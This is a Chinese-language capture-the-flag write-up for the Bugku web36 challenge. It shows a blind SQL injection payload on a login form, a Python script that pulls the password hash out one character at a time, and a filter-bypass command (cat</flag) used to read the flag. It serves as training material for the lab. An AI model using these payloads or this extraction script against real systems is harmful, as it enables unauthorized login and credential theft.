Bugku:web36

有一个登录页面,习惯性先扫扫
Bugku:web36_第1张图片
Bugku:web36_第2张图片
查看一些include发现存在文件
Bugku:web36_第3张图片
点击进去看不见什么代码,然后再看看别的东西

/images

里面存在提示。这题应该是有注入的漏洞。
Bugku:web36_第4张图片
当user进行输入的时候,会转换成0,直接输入0时,是没有值的。但是我们可以通过闭合字符串来实现。
Bugku:web36_第5张图片
构造'-0-',对user=’’=0进行闭合。

user=''=0
user=''-0-''=0

Bugku:web36_第6张图片
此时我们可以构造sql语句来获得密码
(这里我不会写,去别的师傅wp看的)

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

首先闭合admin然后后面的这段表示对passwd这列进行字段的提取。

若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin’-1-’ 和 admin’-0-’ 形式
通过判断返回内容是否存在username error!!@_@"来确定条件是否为真

然后利用一下别的师傅写的脚本(https://blog.csdn.net/qq_45774670/article/details/109366269)

#!-*-coding:utf-8-*-
import requests
url = "http://114.67.246.176:15531/login.php"
cookie = {
    'PHPSESSID':'6jbkaich9501usgf33jrpp32h2'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        #print r.content
        if "username error!!@_@" in r.content.decode():
            password += j
            print(password)
            break

得到md5字符串。
在这里插入图片描述
https://www.somd5.com/解密网站
得到bugkuctf
登录:账号为'-0-',密码就是bugkuctf
Bugku:web36_第7张图片
ls发现文件
Bugku:web36_第8张图片
这里空格被过滤,但是我们可以构造

cat</flag

直接找到flag
Bugku:web36_第9张图片

你可能感兴趣的:(Bugku,CTF_Web_Writeup)